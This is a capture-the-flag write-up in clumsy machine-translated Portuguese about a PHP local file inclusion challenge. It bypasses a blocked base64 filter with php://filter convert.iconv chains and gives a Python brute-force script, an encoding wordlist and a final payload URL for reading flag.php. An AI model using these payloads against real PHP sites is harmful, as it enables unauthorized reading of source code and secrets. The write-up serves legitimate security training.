minhas informações de contato
Correspondência[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Documentação oficial do filtro de conversão: https://www.php.net/manual/zh/filters.convert.php#filters.convert.iconv
Esta questão foi filtrada por causa do convert.base64-encode, então o filtro convert.iconv.* foi usado.
Ativando íconev Você pode usar o filtro de compactação convert.iconv.* sob a premissa, o que equivale a usaríconev() Processe todos os dados de streaming. Este filtro não suporta parâmetros, mas o nome da codificação de entrada/saída pode ser usado para formar o nome do filtro, como convert.iconv.<input-encoding> .<output-encoding> ou convert.iconv.<input-encoding> /<output-encoding> (A semântica de ambos os métodos de escrita é a mesma).
Use diretamente o script para gerar a codificação apropriada:
- import requests
-
- in_encodings = ['UCS-4*', 'UCS-4BE', 'UCS-4LE*', 'UCS-2', 'UCS-2BE', 'UCS-2LE', 'UTF-32*', 'UTF-32BE*', 'UTF-32LE*', 'UTF-16*', 'UTF-16BE*', 'UTF-16LE*', 'UTF-7', 'UTF7-IMAP', 'UTF-8*', 'ASCII*', 'EUC-JP*', 'SJIS*', 'eucJP-win*', 'SJIS-win*', 'ISO-2022-JP', 'ISO-2022-JP-MS', 'CP932', 'CP51932', 'SJIS-mac', 'SJIS-Mobile#DOCOMO', 'SJIS-Mobile#KDDI', 'SJIS-Mobile#SOFTBANK', 'UTF-8-Mobile#DOCOMO', 'UTF-8-Mobile#KDDI-A', 'UTF-8-Mobile#KDDI-B', 'UTF-8-Mobile#SOFTBANK', 'ISO-2022-JP-MOBILE#KDDI', 'JIS', 'JIS-ms', 'CP50220', 'CP50220raw', 'CP50221', 'CP50222', 'ISO-8859-1*', 'ISO-8859-2*', 'ISO-8859-3*', 'ISO-8859-4*', 'ISO-8859-5*', 'ISO-8859-6*', 'ISO-8859-7*', 'ISO-8859-8*', 'ISO-8859-9*', 'ISO-8859-10*', 'ISO-8859-13*', 'ISO-8859-14*', 'ISO-8859-15*', 'ISO-8859-16*', 'byte2be', 'byte2le', 'byte4be', 'byte4le', 'BASE64', 'HTML-ENTITIES', '7bit', '8bit', 'EUC-CN*', 'CP936', 'GB18030', 'HZ', 'EUC-TW*', 'CP950', 'BIG-5*', "CP{949}", "CP{775}"]
-
- out_codings = in_encodings[:]
- for inenc in in_encodings:
- for outenc in out_codings:
- url = 'http://61.147.171.105:62135/?filename=php://filter/convert.iconv.{}.{}/resource=flag.php'.format(inenc,outenc)
- res = requests.get(url)
- if "flag" in res.text:
- print("inenc is:{},outenc is:{}".format(inenc,outenc))
- print(res.text)
Use este dicionário para arrotar
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
- ASCII*
- EUC-JP*
- SJIS*
- eucJP-win*
- SJIS-win*
- ISO-2022-JP
- ISO-2022-JP-MS
- CP932
- CP51932
- SJIS-mac
- SJIS-Mobile#DOCOMO
- SJIS-Mobile#KDDI
- SJIS-Mobile#SOFTBANK
- UTF-8-Mobile#DOCOMO
- UTF-8-Mobile#KDDI-A
- UTF-8-Mobile#KDDI-B
- UTF-8-Mobile#SOFTBANK
- ISO-2022-JP-MOBILE#KDDI
- JIS
- JIS-ms
- CP50220
- CP50220raw
- CP50221
- CP50222
- ISO-8859-1*
- ISO-8859-2*
- ISO-8859-3*
- ISO-8859-4*
- ISO-8859-5*
- ISO-8859-6*
- ISO-8859-7*
- ISO-8859-8*
- ISO-8859-9*
- ISO-8859-10*
- ISO-8859-13*
- ISO-8859-14*
- ISO-8859-15*
- ISO-8859-16*
- byte2be
- byte2le
- byte4be
- byte4le
- BASE64
- HTML-ENTITIES
- 7bit
- 8bit
- EUC-CN*
- CP936
- GB18030
- HZ
- EUC-TW*
- CP950
- BIG-5*
- EUC-KR*
- UHC
- ISO-2022-KR
- Windows-1251
- Windows-1252
- CP866
- KOI8-R*
- KOI8-U*
- ArmSCII-8
Selecione o modo de bomba coletiva. Ainda não terminei de explodi-la e ela está pronta para uso.
dirsearch digitalizou um flag.php, o sinalizador deve estar nele
Construir carga útil:
http://61.147.171.105:62135?filename=php://filter/convert.iconv.UTF-8*.UTF-32*/resource=flag.php